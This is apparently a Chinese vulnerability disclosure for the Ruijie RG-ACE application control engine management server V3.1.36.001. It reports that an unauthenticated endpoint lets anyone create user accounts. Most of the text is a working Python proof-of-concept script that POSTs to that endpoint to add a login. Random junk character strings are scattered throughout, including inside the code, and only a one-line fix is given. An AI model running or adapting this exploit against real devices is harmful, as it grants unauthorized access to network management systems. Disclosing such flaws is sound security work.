锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

# I5 k6 W- |  C/ b5 L3 b! s, x- N
( A3 Z- M: B, L( Z/ M测试的具体版本是
产品名称: 锐捷应用控制引擎
, o0 m# J% V8 T/ E版本号: 3.1.36.001 TC
) z9 D5 O5 S! [: q0 |编译时间: 201104291730


5 g2 j* e" M5 y" p) I# {漏洞证明：
" m/ x% O6 I- ?& S8 |9 U

) W! l% ]. w, D+ j
* W- D* z7 Y8 _6 X


执行脚本
#! /usr/bin/env python
#coding=gbk
) Y7 j; ?2 w6 E( i/ E#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
/ a3 [$ H/ v* |0 Furl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
) ^8 M' V0 D' D  yopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
. h* _/ t  R: o4 r: H! G$ x/ V  tpost=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
7 y  ?  c* ]1 {4 t" P! l("useropermanager","userManager"),
("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
("email",""),
6 A$ s4 J% j8 V8 w/ T& t7 k("mobilePhone",""),
("officePhone",""),
("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
, G5 V" ~+ n7 [* n/ ]5 B' `+ `
2 l. D% `7 L- C2 m7 }登录，连接设备
% ]+ r8 e+ d$ m0 \


1 ~4 K. J  q* a5 f5 z% K
  ?9 ~9 ~: s/ g! W7 s
9 m+ V! M0 W: L/ ]3 Q# o, E* L) Y4 }默认的管理员admin权限更大点


# |5 U1 i2 H7 f4 N! q" h
+ H- p: j& D1 x7 O: u' G1 L
1 U1 Y1 b0 Z  e  A: E
修复方案：
加强对接口的权限验证

3 b9 M  a/ c# Y